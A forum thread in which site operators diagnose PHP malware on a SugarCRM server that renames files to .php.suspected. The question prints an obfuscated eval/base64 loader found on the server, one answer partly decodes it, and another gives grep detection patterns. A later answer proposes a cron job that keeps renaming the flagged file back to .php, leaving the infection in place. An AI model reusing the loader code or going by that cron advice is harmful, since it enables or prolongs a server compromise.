php file automatically renamed to php.suspected - php

Question

Since last 4 days, we are facing strange issue on our Production server (AWS EC2 instance) specific to only one site which is SugarCRM.
Issue is /home/site_folder/public_html/include/MassUpdate.php file is renamed automatically to /home/site_folder/public_html/include/MassUpdate.php.suspected
This happens 2-3 times in a day with 3-4 hours of gap. This issue occurs only in case of specific site, even it doesn't occur for staging replica of the same site. I even checked code of that file from both sites, it's same.
We have Googled and found, such issue occurs mostly for Wordpress sites and it could be because of attack. But we checked our server against the attack, there isn't any. Also there is no virus/malware scan running on server.
What should we do?
Update:
We found few things after going through this link
We executed egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ And found that there are few files with following sample code.
<?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>
Seems some malware, how we go about removing it permanently?
Thanks

Answer 1

The renaming of .php files to .php.suspected keeps happening today. The following commands should not come up with something:
find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print
In my case, the infected files could be located with the following commands:
cd <web site root>
egrep -Rl '\$GLOBALS.*\\x'
egrep -Rl -Ezo '/\*(\w+)\*/\s*#include\s*[^;]+;\s*/\*'
egrep -Rl -E '^.+(\$_COOKIE|\$_POST).+eval.+$'
I have prepared a longer description of the problem and how to deal with it at GitHub.

Answer 2

It's somewhat obfuscated, but I've de-obfuscated it.The function flnftovr takes a string and an array as arguments. It creates a new string $ggy using the formula
isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}
It then preppends base64_decode to the string.
The string is $s, the array is $koicev. It then evals the result of this manipulation. So eventually a string gets created:
base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)
So what actually gets run on your server is:
#ini_set('error_log', NULL);
#ini_set('log_errors', 0);
#ini_set('max_execution_time', 0);
#set_time_limit(0);
if(isset($_SERVER)
encode(serialize($res));
}
If you didn't create this and you suspect your site has been hacked, I'd suggest you wipe the server, and create a new installation of whatever apps are running on your server.

Answer 3

Renaming php files to php.suspected is usually intended and done by hacker's script. They change file extension to give the impression that the file was checked by some antimalware software, is secure and can't be executed. But, in fact, isn't. They change extension to "php" anytime they want to invoke the script and after it, they change the extension back to "suspected".
You can read about it on Securi Research Labs
Maybe this post is old but the topic is still alive. Especially according to June 2019 malware campaign targeting WordPress plugins. I found a few "suspected" files in my client's WordPress subdirectories (e.g. wp-content)

Answer 4

Posting this answer, it may help others.
Create a file with '.sh' extension at your convenient location.
Add following code in it.
#Rename your_file_name.php.suspected to your_file_name.php
mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php
Save this file.
Set cron for every 10 minute (or whatever interval you need), using following line in crontab
*/10 * * * * path_to_cron_file.sh
Restart crontab service.
You will get lot of documentation on creating cron on Google.